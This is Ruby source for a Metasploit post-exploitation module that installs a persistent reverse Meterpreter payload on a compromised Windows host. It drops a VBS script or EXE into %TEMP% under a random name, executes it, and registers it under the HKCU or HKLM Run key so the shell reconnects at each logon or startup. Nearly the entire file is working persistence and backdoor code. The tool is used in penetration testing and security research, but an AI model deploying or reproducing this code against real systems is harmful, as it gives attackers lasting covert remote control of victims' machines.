## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry include Exploit::EXE def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Persistent Payload Installer', 'Description' => %q{ This Module will create a boot persistent reverse Meterpreter session by installing on the target host the payload as a script that will be executed at user logon or system startup depending on privilege and selected startup method. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez ' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate'=> "Oct 19 2011" )) register_options( [ OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]), OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]), OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), ], self.class) end # Exploit Method for when run command is issued #------------------------------------------------------------------------------- def exploit print_status("Running module against #{sysinfo['Computer']}") rexe = datastore['EXE::Custom'] rexename = datastore['REXENAME'] delay = datastore['DELAY'] reg_val = datastore['REG_NAME'] template_pe = datastore['EXE::Template'] @clean_up_rc = "" host,port = session.session_host, session.session_port if rexe.nil? script = create_script(delay, template_pe) script_on_target = write_script_to_target(script,rexename) if script_on_target == nil # exit the module because we failed to write the file on the target host. return end else alt_pay_exe = get_custom_exe script_on_target = write_exe_to_target(alt_pay_exe, rexename) if script_on_target == nil # exit the module because we failed to write the file on the target host. return end end # Initial execution of script if target_exec(script_on_target) == nil # Exit if we where not able to run the payload. return end case datastore['STARTUP'] when /USER/i regwrite = write_to_reg("HKCU", script_on_target, reg_val) # if we could not write the entry in the registy we exit the module. if not regwrite return end when /SYSTEM/i regwrite = write_to_reg("HKLM", script_on_target, reg_val) # if we could not write the entry in the registy we exit the module. if not regwrite return end end clean_rc = log_file() file_local_write(clean_rc,@clean_up_rc) print_status("Cleanup Meterpreter RC File: #{clean_rc}") report_note(:host => host, :type => "host.persistance.cleanup", :data => { :local_id => session.sid, :stype => session.type, :desc => session.info, :platform => session.platform, :via_payload => session.via_payload, :via_exploit => session.via_exploit, :created_at => Time.now.utc, :commands => @clean_up_rc } ) end # Function for Creating persistent script #------------------------------------------------------------------------------- def create_script(delay, altexe) if not altexe.nil? vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, payload.raw, {:persist => true, :delay => delay, :template => altexe}) else vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, payload.raw, {:persist => true, :delay => delay}) end print_status("Persistent agent script is #{vbs.length} bytes long") return vbs end # Function for creating log folder and returning log path #------------------------------------------------------------------------------- def log_file(log_path = nil) #Get hostname host = session.sys.config.sysinfo["Computer"] # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) end # Create the log directory ::FileUtils.mkdir_p(logs) #logfile name logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" return logfile end # Function for writing script to target host #------------------------------------------------------------------------------- def write_script_to_target(vbs,name) tempdir = session.fs.file.expand_path("%TEMP%") if name tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" else tempvbs = tempdir + "\\" + name + ".vbs" end begin fd = session.fs.file.new(tempvbs, "wb") fd.write(vbs) fd.close print_good("Persistent Script written to #{tempvbs}") @clean_up_rc << "rm #{tempvbs}\n" rescue print_error("Could not write the payload on the target hosts.") # return nil since we could not write the file on the target host. tempvbs = nil end return tempvbs end # Function to execute script on target and return the PID of the process #------------------------------------------------------------------------------- def target_exec(script_on_target) execsuccess = true print_status("Executing script #{script_on_target}") # error handling for process.execute() can throw a RequestError in send_request. begin if datastore['EXE::Custom'].nil? session.shell_command_token(script_on_target) else session.shell_command_token("cscript \"#{script_on_target}\"") end rescue print_error("Failed to execute payload on target host.") execsuccess = nil end return execsuccess end # Function to install payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key,script_on_target, registry_value) # Lets start to assume we had success. write_success = true if registry_value.nil? nam = Rex::Text.rand_text_alpha(rand(8)+8) else nam = registry_value end print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") if(key) set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") if set_return print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") else print_error("Failed to make entry in the registry for persistence.") write_success = false end else print_error("Error: failed to open the registry key for writing") write_success = false end end # Function for writing executable to target host #------------------------------------------------------------------------------- def write_exe_to_target(exe_raw, rexename) if rexename.nil? exe_name = Rex::Text.rand_text_alpha(rand(8)+8) else exe_name = rexename end tempdir = session.fs.file.expand_path("%TEMP%") tempexe = tempdir + "\\" + exe_name + ".exe" begin fd = session.fs.file.new(tempexe, "wb") fd.write(exe_raw) fd.close print_good("Persistent executable written to #{tempexe}") @clean_up_rc << "rm #{tempexe}\n" rescue print_error("Failed to write the payload on the target.") tempexe = nil end return tempexe end end